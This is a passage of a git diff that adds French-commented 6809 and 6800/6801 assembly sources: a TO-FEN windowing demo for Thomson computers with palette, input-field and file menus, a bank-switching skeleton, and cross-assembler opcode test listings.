+POPUP0 STB PA,S
+ LDD REGX
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ LDA MAXL,S
+ CMPB MAXL,S
+ BLE POPUP1 ->
+ TFR A,B
+POPUP1 STB PB,S
+
+ TST PA,S
+ BNE POPUP2 ->
+ INC PA,S
+POPUP2 TST PB,S
+ BNE POPUP3 ->
+ INC PB,S
+POPUP3 LEAS 2,S
+ PULS D,PC ->>
diff --git a/code/3rdparty/sources1-hmel/DEMO-SP.ASM b/code/3rdparty/sources1-hmel/DEMO-SP.ASM
new file mode 100644
index 0000000..092c533
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-SP.ASM
@@ -0,0 +1,72 @@
+ TITLE TO-DEMO:S/P
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* S/P *
+* *
+****************************************
+
+
+*=======================================
+* S/P test de localisation de la souris
+* dans un carreau
+* Entrée: XH rangée début ]
+* XL colonne début du carreau
+* YH hauteur ]
+* YL largeur ]
+* Sortie: CY 1 souris dans le carreau
+* 0 ... en dehors
+*=======================================
+
+SOUROK PSHS D,X,Y,U
+ LEAS -5,S
+HORDOT SET 0
+VERDOT SET 2
+MULTH SET 4
+PA SET 5
+PB SET 6
+PXH SET 7
+PXL SET 8
+PYH SET 9
+PYL SET 10
+*---------------------------------------
+
+ LDB #8 coef de * horiz
+ LDA SCRMOD
+ CMPA #$40
+ BNE RGMU ->
+ LDB #4 bit map 16
+RGMU STB MULTH,S
+
+ LDA #8
+ LDB PXH,S
+ MUL
+ STD HORDOT,S
+ CMPD REGY
+ BGT SELDN hors haut ->
+ LDA MULTH,S
+ LDB PXL,S
+ MUL
+ STD VERDOT,S
+ CMPD REGX
+ BGT SELDN hors gauche ->
+ LDA #8
+ LDB PYH,S
+ MUL
+ ADDD HORDOT,S
+ CMPD REGY
+ BLE SELDN hors bas ->
+ LDA MULTH,S
+ LDB PYL,S
+ MUL
+ ADDD VERDOT,S
+ CMPD REGX
+ BLE SELDN hors droit ->
+ ORCC #$01 dedans
+ BRA SELDF ->
+SELDN ANDCC #$FE hors
+
+SELDF LEAS 5,S
+ PULS D,X,Y,U,PC
diff --git a/code/3rdparty/sources1-hmel/DEMO-TR.ASM b/code/3rdparty/sources1-hmel/DEMO-TR.ASM
new file mode 100644
index 0000000..216f848
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO-TR.ASM
@@ -0,0 +1,741 @@
+ TITLE TO-DEMO:Traitements
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* Traitements *
+* *
+****************************************
+
+
+*=======================================
+* S/P fenetre de demo
+* permet de modifier la palette et
+* la couleur de tour via des
+* poussoirs 'zone'
+* De choisir un mode vidéo via un
+* poussoir 'zone' redéfini
+* (bidon !)
+* d'utiliser des poussoirs 'balise'
+* de manipuler des inverseurs
+* 'zone' et 'balise'
+*=======================================
+
+XXDEMO EQU *
+ LEAS -39,S
+PBLEU SET 0
+PVERT SET 1
+PROUGE SET 2
+NOPAL SET 3
+MTOUR SET 4
+MMODE SET 5
+MPAL SET 7 32 octets palette
+*---------------------------------------
+
+ LDX #FENINF
+ LDD 3,X
+ JSR POPUP
+ JSR FENOUV
+
+ LDA TOUR
+ STA MTOUR,S
+
+ LDA #16
+ LDX #PALETE
+ LEAY MPAL,S
+LIPAI LDU ,X++
+ STU ,Y++
+ DECA
+ BNE LIPAI ->
+
+ LDB MODVID
+ STB MMODE,S
+ LDX #TMNGR
+BAFMV LDA ,X
+ CMPA #$FF
+ BEQ PERMO pas trouve ->
+ CMPA MMODE,S
+ BEQ POKMO ->
+ LEAX 17,X
+ BRA BAFMV ->
+PERMO LDX #TMNGR
+POKMO STX MMODE,S
+
+* Initialisation des parametres dynami
+* ques de la fenetre
+
+ CLR NOPAL,S
+EXCI00 LEAX MPAL,S
+ LDA NOPAL,S
+ LSLA
+ LEAX A,X
+ LDA ,X
+ ANDA #$0F
+ STA PBLEU,S
+ LDA 1,X
+ LSRA
+ LSRA
+ LSRA
+ LSRA
+ STA PVERT,S
+ LDA 1,X
+ ANDA #$0F
+ STA PROUGE,S
+
+EXECI0 JSR FENDES
+ LDB #$5A coul palette
+ JSR FENCH
+ CLRA
+ LDB NOPAL,S
+ LDX #BUF
+ LDY #2
+ JSR BINDCD
+ JSR FENEDI
+
+ LDA PBLEU,S
+ LDB PVERT,S
+ LSLB
+ LSLB
+ LSLB
+ LSLB
+ ORB PROUGE,S
+ TFR D,Y
+ LEAX MPAL,S
+ LDA NOPAL,S
+ LSLA
+ STY A,X
+ PSHS Y
+ LDA #ORANGE utilisé pour visu
+ LDX #0 temporaire couleur
+ JSR SETP sélectionnée
+
+ LDB #$48 hexa palette
+ JSR FENCH
+ LDX #BUF
+ PULS D
+ JSR BINHX2
+ LDX #BUF
+ LDB 1,X
+ JSR FENPUT
+ LDB #HT
+ JSR FENPUT
+ LDB 2,X
+ JSR FENPUT
+ LDB #HT
+ JSR FENPUT
+ LDB 3,X
+ JSR FENPUT
+
+ LEAX MPAL,S coul tour
+ LDA MTOUR,S
+ LSLA
+ LDY A,X
+ LDA #PARME utilisé pour visu
+ LDX #0 temporaire couleur
+ JSR SETP tour
+ LDB #$59
+ JSR FENCH
+ CLRA
+ LDB MTOUR,S
+ LDX #BUF
+ LDY #2
+ JSR BINDCD
+ JSR FENEDI
+
+ LDB #$4D mode vidéo
+ JSR FENCH
+ LDX MMODE,S
+ LEAX 2,X
+ JSR FENEDI
+
+EXECI1 JSR FENACT
+
+EXECI2 JSR FENPOP
+ TSTB
+ BEQ EXECI2 ->
+ CMPB #'T +Tour
+ LBEQ XIPLT ->
+ CMPB #'U -Tour
+ LBEQ XIMNT ->
+ CMPB #'P +Palette
+ LBEQ XIPLP ->
+ CMPB #'Q -Palette
+ LBEQ XIMNP ->
+ CMPB #'B +Bleu
+ LBEQ XIPLB ->
+ CMPB #'C -Bleu
+ LBEQ XIMNB ->
+ CMPB #'V +Vert
+ LBEQ XIPLV ->
+ CMPB #'W -Vert
+ LBEQ XIMNV ->
+ CMPB #'R +Rouge
+ LBEQ XIPLR ->
+ CMPB #'S -Rouge
+ LBEQ XIMNR ->
+ CMPB #'M Mode
+ LBEQ XIMOD ->
+
+ CMPB #RC
+ LBEQ XIRC ->
+ CMPB #FF RAZ
+ LBEQ XIRET ->
+ LBRA EXECI2 ->
+
+*** mode
+XIMOD EQU *
+ LDX MMODE,S
+ LEAX 17,X
+ STX MMODE,S
+ LDA ,X
+ CMPA #$FF
+ LBNE EXECI0 ->
+ LDX #TMNGR
+ STX MMODE,S
+ LBRA EXECI0 ->
+
+*** + tour
+XIPLT EQU *
+ INC MTOUR,S
+ LDA MTOUR,S
+ CMPA #16
+ LBLT EXECI0 ->
+ CLR MTOUR,S
+ LBRA EXECI0 ->
+
+*** - tour
+XIMNT EQU *
+ DEC MTOUR,S
+ LBGE EXECI0 ->
+ LDA #15
+ STA MTOUR,S
+ LBRA EXECI0 ->
+
+*** + palette
+XIPLP EQU *
+ INC NOPAL,S
+ LDA NOPAL,S
+ CMPA #16
+ LBLT EXCI00 ->
+ CLR NOPAL,S
+ LBRA EXCI00 ->
+
+*** - palette
+XIMNP EQU *
+ DEC NOPAL,S
+ LBGE EXCI00 ->
+ LDA #15
+ STA NOPAL,S
+ LBRA EXCI00 ->
+
+*** + bleu
+XIPLB EQU *
+ INC PBLEU,S
+ LDA PBLEU,S
+ CMPA #16
+ LBLT EXECI0 ->
+ CLR PBLEU,S
+ LBRA EXECI0 ->
+
+*** -bleu
+XIMNB EQU *
+ DEC PBLEU,S
+ LBGE EXECI0 ->
+ LDA #15
+ STA PBLEU,S
+ LBRA EXECI0 ->
+
+*** + vert
+XIPLV EQU *
+ INC PVERT,S
+ LDA PVERT,S
+ CMPA #16
+ LBLT EXECI0 ->
+ CLR PVERT,S
+ LBRA EXECI0 ->
+
+*** - vert
+XIMNV EQU *
+ DEC PVERT,S
+ LBGE EXECI0 ->
+ LDA #15
+ STA PVERT,S
+ LBRA EXECI0 ->
+
+*** + rouge
+XIPLR EQU *
+ INC PROUGE,S
+ LDA PROUGE,S
+ CMPA #16
+ LBLT EXECI0 ->
+ CLR PROUGE,S
+ LBRA EXECI0 ->
+
+*** - rouge
+XIMNR EQU *
+ DEC PROUGE,S
+ LBGE EXECI0 ->
+ LDA #15
+ STA PROUGE,S
+ LBRA EXECI0 ->
+
+*** validation
+XIRC EQU *
+ LDA MTOUR,S tour
+ STA TOUR
+
+ LDA #16
+ LEAX MPAL,S
+ LDY #PALETE
+ECPAI1 LDU ,X++
+ STU ,Y++
+ DECA
+ BNE ECPAI1 ->
+
+ LDA #PARME
+ LDX #0
+ LDY PALDEF+26
+ JSR SETP
+
+ LDA #ORANGE
+ LDX #0
+ LDY PALDEF+30
+ JSR SETP
+
+ LDB #1
+ JSR FENFER
+ JSR FENACT
+ LDB #$FF
+ LEAS 39,S
+ RTS ->>
+
+* Fin menu info video
+*---------------------------------------
+
+XIRET CLRB
+ JSR FENFER
+ LDA #ORANGE
+ LDX #0
+ LDY PALDEF+30
+ JSR SETP
+ LDA #PARME
+ LDX #0
+ LDY PALDEF+26
+ JSR SETP
+ JSR FENACT
+ CLRB
+ LEAS 39,S
+ RTS
+
+
+*=======================================
+* S/P fenetre de demo des possibilités
+* de saisie.
+* Défini trois champ de saisie de
+* types différents et un inverseur
+* Sur appuis d'un pouusoir, rend la
+* valeur lue dans ce champ
+* NB: les procédures de conversion
+* sont fournies pour récupérer des
+* valeurs binaires à partir des
+* chaines de texte lues.
+*=======================================
+
+XXGRIL EQU *
+*---------------------------------------
+
+ LDX #FENDEM
+ LDD 3,X
+ JSR POPUP
+ JSR FENOUV
+
+EXECD1 JSR FENACT
+
+EXECD2 JSR FENPOP
+ TSTB
+ BEQ EXECD2 ->
+ CMPB #134 visu texte
+ LBEQ XDTXT ->
+ CMPB #135 visu hexa
+ LBEQ XDHEX ->
+ CMPB #136 visu décim.
+ LBEQ XDDEC ->
+ CMPB #137 visu invers
+ LBEQ XDINV ->
+
+ CMPB #FF RAZ
+ LBEQ XDRET ->
+ LBRA EXECD2 ->
+
+*** visu inverseur
+XDINV EQU *
+ LDB #133 invers. à lire
+ JSR FENCH
+ LDA VAL,X
+ LDX #MON
+ CMPA #ON
+ BEQ XDAFF
+ LDX #MOFF
+ BRA XDAFF ->
+
+*** visu champ texte
+XDTXT EQU *
+ LDB #130 champ à lire
+ BRA XDVIS ->
+
+*** visu champ hexa
+XDHEX EQU *
+ LDB #131 champ à lire
+ BRA XDVIS ->
+
+*** visu champ décimal
+XDDEC EQU *
+ LDB #132 champ à lire
+
+*** lecture et visu des champs
+XDVIS LDX #BUF lecture champ
+ CLR BUF
+ JSR FENLCZ
+
+XDAFF PSHS X
+ JSR FENDES car sinon les
+* réactivation faites dans FENCH ..
+* entrainent un repositionnement
+* sur la première zone de saisie !
+ LDB #140 visu résultat
+ JSR FENCH
+ JSR FENFON efface
+ PULS X
+ JSR FENEDI
+ LBRA EXECD1 ->
+
+* Fin menu démo grille saisie
+*---------------------------------------
+
+XDRET CLRB
+ JSR FENFER
+ JSR FENACT
+ CLRB
+ RTS
+
+
+*=======================================
+* S/P menu déroulant de gestion fichier
+*=======================================
+
+MENFIC EQU *
+ LEAS -2,S
+MANO SET 0
+*---------------------------------------
+
+ LDX #FENFIC
+ LDD 3,X
+ JSR POPUP
+ JSR FENOUV
+
+EXECF0 LDB #ESC
+ JSR PUTC
+ LDB #$4D
+ JSR PUTC
+ LDB #BLANC
+ JSR FENCF
+ LDD #$0211 Disque courant
+ LDY #$0201
+ JSR FENLOF
+ LDB DKDRV
+ ADDB #$30
+ JSR PUTC
+ LDB #TRANSP
+ JSR FENCF
+ LDB #ESC
+ JSR PUTC
+ LDB #$4C
+ JSR PUTC
+
+EXECF1 JSR FENACT
+
+
+EXECF2 JSR FENPOP
+ TSTB
+ BEQ EXECF2 ->
+ CMPB #'P
+ LBEQ XFUNIT ->
+ CMPB #'I
+ LBEQ XFINIT ->
+ CMPB #'C
+ LBEQ XFCATA ->
+ CMPB #'R
+ LBEQ XFRENO ->
+ CMPB #'S
+ LBEQ XFSUPR ->
+ CMPB #'D
+ LBEQ XFDUPL ->
+ CMPB #'L
+ LBEQ XFLIRE ->
+ CMPB #'E
+ LBEQ XFECRI ->
+ CMPB #FF RAZ
+ LBEQ XFRET ->
+ LBRA EXECF2 ->
+
+*** Préciser unité
+XFUNIT EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDA #11
+ LDB #24
+ LBSR POPUP
+ JSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #$FFFF
+ LBSR DOSSEL
+ CLRB
+ LBSR FENFER
+ LDB #$50 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF0 ->
+
+*** Initialiser
+XFINIT EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDA #15
+ LDB #24
+ LBSR POPUP
+ JSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSINI
+ CLRB
+ LBSR FENFER
+ LDB #$49 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Catalogue
+XFCATA EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0200
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSCAT
+ CLRB
+ LBSR FENFER
+ LDB #$43 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Renommer fichier
+XFRENO EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSREN
+ CLRB
+ LBSR FENFER
+ LDB #$52 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Supprimer fichier
+XFSUPR EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSSUP
+ CLRB
+ LBSR FENFER
+ LDB #$53 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Dupliquer fichier
+XFDUPL EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+ LDX #FENVID Sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LBSR DOSDUP
+ CLRB
+ LBSR FENFER
+ LDB #$44 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Lire fichier
+XFLIRE EQU *
+* Ce qui suit pour que le poussoir
+* soit inversé pendant une phase de
+* traitement qui peut être longue
+
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+* La saisie du fichier s'opère grace
+* au DOS iconique 'enveloppé' dans TO-FE
+* pour pouvoir revenir au menu déroulant
+* il faut ouvrir une fenêtre vide à
+* laquelle sera ajoutée la fenêtre de
+* saisie !!!
+
+ LDX #FILNAM filtre .ASM
+XLIRZ CLR ,X+
+ CMPX #FILNAM+8
+ BNE XLIRZ ->
+ LDA #'A
+ LDB #'S
+ STD ,X++
+ LDA #'M
+ STA ,X+
+ LDX #FENVID sélection
+ LDD #$0500
+ LBSR FENOUV
+ LDA #BKMANO manoeuvre
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MLIRE
+ LBSR DOSFIL
+ LBEQ XLIRZ9 RAZ ->
+ LBCS XLIRZ9 erreur ->
+
+ LDX #FILNAM fich cour.
+ LDY #DESCOU
+BMEMFC LDA ,X+
+ STA ,Y+
+ CMPX #FILNAM+8
+ BNE BMEMFC ->
+
+* On simule ici la lecture d'un fichier
+* à afficher à l'écran... pour cela, il
+* faut fermer toutes les fenêtres (2 niv
+* -eaux puis remonter également de deux
+* niveaux pour les procédures de dialo-
+* -gue.
+
+CPNOF LDB #2
+ JSR FENFER
+
+ JSR FENACT
+ LEAS 2,S
+ LDB #$FF
+ RTS ->>
+
+XLIRZ9 CLRB
+ LBSR FENFER
+
+* Le poussoir redevient normal
+
+ LDB #'L Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECF1 ->
+
+*** Ecrire fichier
+XFECRI EQU *
+ JSR FENCH
+ JSR FENIVD
+
+ LDX #FENVID Sélection
+ LDD #$0505
+ LBSR FENOUV
+
+ LDY #FILNAM nom défaut
+ LDX #DESCOU
+ LDA #8
+ECAL0 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE ECAL0 ->
+ LDA #'A
+ LDB #'S
+ STD ,Y++
+ LDA #'M
+ STA ,Y+
+
+ LDX #MCOMAL commentaire
+ LDA #8
+ECAL00 LDB ,X+
+ STB ,Y+
+ DECA
+ BNE ECAL00 ->
+
+ LDA #BKMANO
+ STA BANKC
+ LDX #ZONTRA
+ LDY #LGZTRA
+ LDU #MVFICH
+ LBSR DOSCZI
+ LBEQ XFCRFF RAZ ->
+ LBCS XFCRFF erreur ->
+
+ LDD #$0309 vérifier non
+ LBSR FENLOF existence
+ JSR DOSTST
+ LBCS XFCRFF existe ->
+
+* Ici on simule le retour au fond pour
+* pouvoir par exemple coder l'image
+* avant de l'écrire !
+
+ LDB #2
+ JSR FENFER
+
+ JSR FENACT
+ LEAS 2,S
+ LDB #$FF
+ RTS ->>
+
+XFCRFF CLRB
+ JSR FENFER
+
+XFECRF LDB #'E
+ JSR FENCH
+ JSR FENIVD
+ LBRA EXECF1 ->
+
+* Fin menu fichier
+*---------------------------------------
+
+XFRET CLRB
+ JSR FENFER
+ JSR FENACT
+ CLRB
+ LEAS 2,S
+ RTS
diff --git a/code/3rdparty/sources1-hmel/DEMO.ASM b/code/3rdparty/sources1-hmel/DEMO.ASM
new file mode 100644
index 0000000..9a4f797
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/DEMO.ASM
@@ -0,0 +1,212 @@
+ TITLE TO-DEMO:
+* ------------------------------
+ PAGE
+
+****************************************
+* *
+* Démonstration de l'utilisation des *
+* routines TO-FEN *
+* *
+* Création du squelette d'une applica *
+* tion .CHG de 32ko *
+* *
+****************************************
+* *
+* Sources: *
+* *
+* FEN-EQU.ASM Equates du fenêtrage *
+* DEMO-EQ.ASM Equates *
+* DEMO-CN.ASM Constantes *
+* DEMO-B1.ASM Traitement BANK 1 *
+* DEMO-TR.ASM Traitements *
+* DEMO-SP.ASM Gestion S/P *
+* DEMO-PR.ASM Programme principal *
+* DEMO .ASM Structure *
+* *
+****************************************
+* *
+* Exécutable destiné à être chargé en *
+* aplication avec le module de *
+* fenêtrage FEN.BIN *
+* *
+****************************************
+* *
+* Carte mémoire: *
+* *
+** Banks RAM cartouche *
+* *
+* No 1 : Soft, constantes et données *
+* pseudo statique (motifs...) *
+* No 2 : En $1800, S/P de fenêtrage *
+* *
+** Banks données : *
+* *
+* bank 2 : Manoeuvre *
+* bank 3 *
+* .. 6 : Pile des fenêtres *
+* (moins ou plus selon les *
+* niveaux d'empilement max. *
+* bank 7 *
+* ... : Pour application !!! *
+* *
+** RAM "en ligne" *
+* *
+* $0000..$3FFF: Soft, constantes et *
+* données pseudo stati- *
+* ques (cartouche) *
+* $6000..$62FF: RAM moniteur/extramon *
+* $6300..$67FF: Pile (#1ko) *
+* $6800..$6FFF: RAM appli. non commut. *
+* (#2ko) *
+* $7000..$77FF: Zones DOS 5 dsk 2fic. *
+* $7800..$9FFF: Copie active des S/P *
+* de fenêtrage (10ko) *
+* pour que les S/P de *
+* fenetrage puissent etre*
+* appelés à partir de *
+* les banks de l'appli ! *
+* $A000..$DFFF: Manoeuvre sur les bank *
+* de donnée *
+* *
+****************************************
+* PRODUCTION: *
+****************************************
+* *
+* Sous 6809 ASM *
+* *
+* - L DEMO (deja fait si vous lisez*
+* - A DEMO (/NL/NS si sup listing) *
+* *
+* Sous CR-APPLI: *
+* *
+* - Charger DEMO.BIN (base $0000) *
+* - Charger FEN.BIN (base $5800) *
+* - Créer TO-DEMO.CHG *
+* *
+****************************************
+
+* Definition de l'implantation finale
+* des sous-programmes de TO-FEN
+
+BASEF EQU $7800 implant. soft
+* fenêtrage !!!
+
+ INCLUD FEN-EQU équates FEN
+
+ INCLUD DEMO-EQ
+
+* Page 0 dee l'application
+ SETDP PAGE0/256
+
+****************************************
+
+
+*
+* Cartouche No 1
+* L'en-tete (34oc)sera cree par CR-APPLI
+* L'assemblage se fait selon l'adressage
+* réel $0000-$3FFF
+* L'appel d'un S/P du bank 1 se fait par
+* JSR adr ou par
+* LBSR adr
+* L'appel d'un S/P du bank 2 se fait par
+* LDU #adr.S/P (fourni par ASM)
+* JSR COMBK2 (ou LBSR ...)
+* L'appel d'un S/P moniteur se fait par
+* JSR adr ou par
+* LBSR adr
+*---------------------------------------
+
+ ORG $22
+
+ LBRA DEBUT ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+COMBK2 INC >$E7E6
+ LEAU -$4000,U
+ JSR ,U
+ PSHS CC
+ DEC >$E7E6
+ PULS CC
+ RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+ DEC >$E7E6
+ JSR ,U
+ PSHS CC
+ INC >$E7E6
+ PULS CC
+ RTS
+
+**** Code du premier bank **************
+
+ INCLUD DEMO-CN
+
+ INCLUD DEMO-TR
+
+ INCLUD DEMO-SP
+
+****************************************
+
+ INCLUD DEMO-PR
+
+****************************************
+
+
+*
+* En tête cartouche No 2
+* L'en-tete (34oc)sera cree par CR-APPLI
+* L'assemblage se fait selon l'adressage
+* simulé $4000-$7FFF au lieu de
+* $0000-$3FFF
+* L'appel d'un S/P du bank 2 se fait par
+* LBSR adr
+* L'appel d'un S/P du bank 1 se fait par
+* LDU #adr.S/P (fourni par ASM)
+* LBSR COMBK2
+* L'appel d'un S/P moniteur se fait par
+* JSR adr
+*---------------------------------------
+
+ ORG $4022
+
+ LBRA DEBUT ------>
+
+
+* Séquence de commutation vers les S/P
+* en cartouche no 2
+*---------------------------------------
+
+ INC >$E7E6
+ LEAU -$4000,U
+ JSR ,U
+ PSHS CC
+ DEC >$E7E6
+ PULS CC
+ RTS
+
+* Séquence de commutation vers les S/P
+* en cartouche no 1
+*---------------------------------------
+
+COMBK1 DEC >$E7E6
+ JSR ,U
+ PSHS CC
+ INC >$E7E6
+ PULS CC
+ RTS
+
+
+**** Code du deuxieme bank *************
+
+
+ INCLUD DEMO-B1
+
+ END
diff --git a/code/3rdparty/sources1-hmel/ESS6800.ASM b/code/3rdparty/sources1-hmel/ESS6800.ASM
new file mode 100644
index 0000000..1a960c1
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/ESS6800.ASM
@@ -0,0 +1,223 @@
+****************************************
+* *
+* Essai de l'assembleur croisé 6800 *
+* *
+****************************************
+
+ TITLE ESSAIASM6800
+
+LED EQU 3 bit commande led
+SWITCH EQU 7 bit interrupteur
+PORTB EQU $0001
+PORTF EQU $ABCD
+FLG SET 50
+
+ ORG $0010 ram
+
+MEMPT RMB 2
+VAR RMB 1
+
+ PAGE
+ ORG $0080 rom
+
+CNST1 FCB 10
+CNST2 FDB $1234
+MESS FCC 'SALUTOHBRICOLEUR'
+* INCLUD FILE include mis en
+* commentaire !!
+
+
+* Assemblage type 0
+*
+* adressage inherent
+*---------------------------------------
+
+T0 ABA
+ CLRA
+ CLRB
+ CBA
+ COMA
+ COMB
+ NEGA
+ NEGB
+ DAA
+ DECA
+ DECB
+ INCA
+ INCB
+ PSHA
+ PSHB
+ PULA
+ PULB
+ ROLA
+ ROLB
+ RORA
+ RORB
+ ASLA
+ ASLB
+ ASRA
+ ASRB
+ LSRA
+ LSRB
+ LSLA *
+ LSLB *
+ SBA
+ TAB
+ TBA
+ TSTA
+ TSTB
+ DEX
+ DECX *
+ DES
+ DECS *
+ INX
+ INCX *
+ INS
+ INCS *
+ TXS
+ TSX
+ NOP
+ RTI
+ RTS
+ SWI
+ WAI
+ WAIT *
+ CLC
+ CLI
+ CLV
+ SEC
+ SEI
+ SEV
+ TAP
+ TPA
+
+
+* Assemblage type 1
+*
+* adressage PC relatif -128..+127
+*
+* BRA LABEL
+* BRA LABEL+1
+* BRA *+25
+*---------------------------------------
+
+T1 BRA *
+ BCC T10
+ BCS T1
+ BEQ *
+ BGE *
+ BGT *
+ BHI *
+ BLE *
+ BLS *
+ BLT *
+ BMI *
+ BNE *
+ BVC *
+ BVS *
+ BPL *
+T10 BSR *
+
+
+* Assemblage type 2
+*
+* CLR [<]<exp. 8 bits>,X indexe offset
+* sur 8 bits
+* CLR [>]<exp.16 bits>
+*---------------------------------------
+
+T2 CLR VAR,X
+ CLR <VAR,X
+ CLR VAR
+ CLR >VAR
+ COM VAR
+ NEG VAR
+ DEC VAR
+ INC VAR
+ ROL VAR
+ ROR VAR
+ ASL VAR
+ ASR VAR
+ LSR VAR
+ LSL VAR *
+ TST VAR
+ JMP PORTF
+ JSR T1
+
+
+* Assemblage type 3
+*
+* STAA [<]<exp. 8 bits> direct
+* STAA [<]<exp. 8 bits>,X indexe offset
+* 8 bits
+* STAA [>]<exp.16 bits>
+*
+* si '>' impose mode étendu
+* si '>' impose mode étendu
+* si rien fait au mieux selon expres
+*---------------------------------------
+
+T3 STAA VAR
+ STAA PORTF
+ STAA <VAR
+ STAA >VAR
+ STAA VAR,X
+ STAA <VAR,X
+ STA VAR *
+ STAB VAR
+ STB VAR *
+ STX VAR
+ STS VAR
+
+
+* Assemblage type 4 et 5
+*
+* ADDA #<exp. 8/16 bits>
+* ADDA [<]<exp. 8 bits>
+* ADDA [<]<exp. 8 bits>,X
+* ADDA [>]<exp. 16 bits>
+*
+* si '>' impose mode étendu
+* si '>' impose mode étendu
+* si rien fait au mieux selon expres
+*---------------------------------------
+
+T45 ADDA #CNST1
+ ADDA #25
+ ADDA #$23
+ ADDA VAR
+ ADDA PORTF
+ ADDA <VAR
+ ADDA >VAR
+ ADDA VAR,X
+ ADDA <$12,X
+ ADDB #25
+ ADCA #25
+ ADCB #25
+ ANDA #25
+ ANDB #25
+ BITA #25
+ BITB #25
+ CMPA #25
+ CMPB #25
+ EORA #25
+ EORB #25
+ LDAA #25
+ LDA #25 *
+ LDAB #25
+ LDB #25 *
+ ORAA #25
+ ORA #25 *
+ ORAB #25
+ ORB #25 *
+ SUBA #25
+ SUBB #25
+ SBCA #25
+ SBCB #25
+ CPX #25
+ CMPX #25 *
+ LDX #25
+ LDS #25
+
+FINPRG EQU *
+ END
diff --git a/code/3rdparty/sources1-hmel/ESS6801.ASM b/code/3rdparty/sources1-hmel/ESS6801.ASM
new file mode 100644
index 0000000..576b863
--- /dev/null
+++ b/code/3rdparty/sources1-hmel/ESS6801.ASM
@@ -0,0 +1,235 @@
+****************************************
+* *
+* Essai de l'assembleur croisé 6801 *
+* *
+****************************************
+
+ TITLE ESSAIASM6801
+
+LED EQU 3 bit commande led
+SWITCH EQU 7 bit interrupteur
+PORTB EQU $0001
+PORTF EQU $ABCD
+FLG SET 50
+
+ ORG $0010 ram
+
+MEMPT RMB 2
+VAR RMB 1
+
+ PAGE
+ ORG $0080 rom
+
+CNST1 FCB 10
+CNST2 FDB $1234
+MESS FCC 'SALUTOHBRICOLEUR'
+* INCLUD FILE include mis en
+* commentaire !!
+
+
+* Assemblage type 0
+*
+* adressage inherent
+*---------------------------------------
+
+T0 ABA
+ CLRA
+ CLRB
+ CBA
+ COMA
+ COMB
+ NEGA
+ NEGB
+ DAA
+ DECA
+ DECB
+ INCA
+ INCB
+ PSHA
+ PSHB
+ PULA
+ PULB
+ ROLA
+ ROLB
+ RORA
+ RORB
+ ASLA
+ ASLB
+ ASRA
+ ASRB
+ LSRA
+ LSRB
+ LSLA *
+ LSLB *
+ SBA
+ TAB
+ TBA
+ TSTA
+ TSTB
+ DEX
+ DECX *
+ DES
+ DECS *
+ INX
+ INCX *
+ INS
+ INCS *
+ TXS
+ TSX
+ NOP
+ RTI
+ RTS
+ SWI
+ WAI
+ WAIT *
+ CLC
+ CLI
+ CLV
+ SEC
+ SEI
+ SEV
+ TAP
+ TPA
+ ABX
+ ASLD
+ LSRD
+ MUL
+ PSHX
+ PULX
+
+
+* Assemblage type 1
+*
+* adressage PC relatif -128..+127
+*
+* BRA LABEL
+* BRA LABEL+1
+* BRA *+25
+*---------------------------------------
+
+T1 BRA *
+ BCC T10
+ BCS T1
+ BEQ *
+ BGE *
+ BGT *
+ BHI *
+ BLE *
+ BLS *
+ BLT *
+ BMI *
+ BNE *
+ BVC *
+ BVS *
+ BPL *
+T10 BSR *
+
+
+* Assemblage type 2
+*
+* CLR [<]<exp. 8 bits>,X indexe offset
+* sur 8 bits
+* CLR [>]<exp.16 bits>
+*---------------------------------------
+
+T2 CLR VAR,X
+ CLR <VAR,X
+ CLR VAR
+ CLR >VAR
+ COM VAR
+ NEG VAR
+ DEC VAR
+ INC VAR
+ ROL VAR
+ ROR VAR
+ ASL VAR
+ ASR VAR
+ LSR VAR
+ LSL VAR *
+ TST VAR
+ JMP PORTF
